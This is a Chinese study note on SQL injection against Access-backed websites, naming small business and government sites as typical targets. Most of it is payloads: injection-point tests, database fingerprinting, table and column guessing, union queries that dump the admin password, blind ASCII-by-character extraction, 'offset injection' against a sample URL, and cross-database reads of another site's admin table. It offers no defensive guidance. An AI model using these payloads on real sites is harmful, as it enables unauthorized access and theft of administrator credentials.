(本文为学习笔记,介绍的Access数据库SQL注入方法建立在最理想的状态下,实际中会遇到各种问题,遇到问题百度一下)
基本知识:
- Access数据库多用于小型站点,企业,政府这种基本不会改动什么的网站
- Access数据库后缀名:*.mdb
- 打开工具:辅臣数据库浏览器,破障浏览器等
注入判断:
-
判断注入点
' 错误
and 1=1 正常
and 1=2 错误
满足以上条件即存在注入 -
判断数据库类型
and exists (select * from msysobjects)>0
返回正常,即可判断其为Access数据库and exists (select * from sysobjects)>0
返回正常,即可判断其为MSSQL数据库 -
判断数据库表名
and exists (select * from admin)
若存在admin表,页面返回正常,反之报错 -
判断数据库列名
and exists (select password from admin)
若admin表中password列,返回正常,反之报错 -
判断当前页面查询字段(列)长度
order by 7
若返回正常,加大数值,直到返回页面错误,判断出字段长度 -
页面报错
union select 1,2,3,4,5,6,7 from admin
查询admin表,页面报错出可以查询列名的位置 -
数据库联合查询
union select 1,2,3,4,password,6,7,8,9 from admin
在页面报错位置,查询admin表中password列(字段)名,将会在页面上爆出来列(字段)信息
其他相关知识:
(有些情况下并不能直接得到想要的信息,可能会用到下面的一些方法)
-
判断列(字段)的长度
and (select len(password) from admin)=5
若返回正常,说明password列(字段)长度为5 -
已知列(字段)长度,通过ascii判断每个字符对应信息
and (select top 1 asc(mid(password,1,1)) from admin)>100
返回正常说明大于,返回错误说明不大于and (select top 1 asc(mid(password,1,1)) from admin)>50
返回正常说明大于and (select top 1 asc(mid(password,1,1)) from admin)=97
返回正常,说明password列(字段)第一个字符ASCII码为97通过ASCII对应表可以查到97对应a
and (select top 1 asc(mid(password,2,1)) from admin)>100
接着判断password列(字段)第二个字符and (select top 1 asc(mid(password,3,1)) from admin)>100
接着判断password列(字段)第三个字符 -
偏移注入
什么时候用? 猜出表名,猜不出列名时DemoURL:http://192.168.18.136/about.asp?id=8 UNION SELECT 1,2,3,4,5,6 from admin
长度为6,开始从最后一位用*代替,直到页面不出错
用*依次向前替换,直到页面显示正常(假设3是页面正常)
UNION SELECT 1,2,3,4,5,* from admin
UNION SELECT 1,2,3,4,* from admin
UNION SELECT 1,2,3,* from admin套用公式
6-3=3
0+3*2=6从第1位开始替换,类比套用下面语句
UNION SELECT a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)如果是更多位
UNION SELECT a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)偏移注入会随机爆出一个字段内容,具体是什么看运气
偏移注入相关参数查找
- 后台登录文件源码表单里面的参数值
- 看网站地址链接上的规则
- 是否判断出对方使用CMS程序
-
Access跨库查询
作用:直接查询到B站admin表中的管理员密码(条件很难满足,实际基本用不到)条件:A站与B站同在一个服务器,A站有SQL注入,B站没有,此时知道B站数据库 绝对路径,表名,列名
UNION SELECT 1,2,3,4,password,6 from [C:\www\a.mdb].admin
上面语句实现跨库查询
网友评论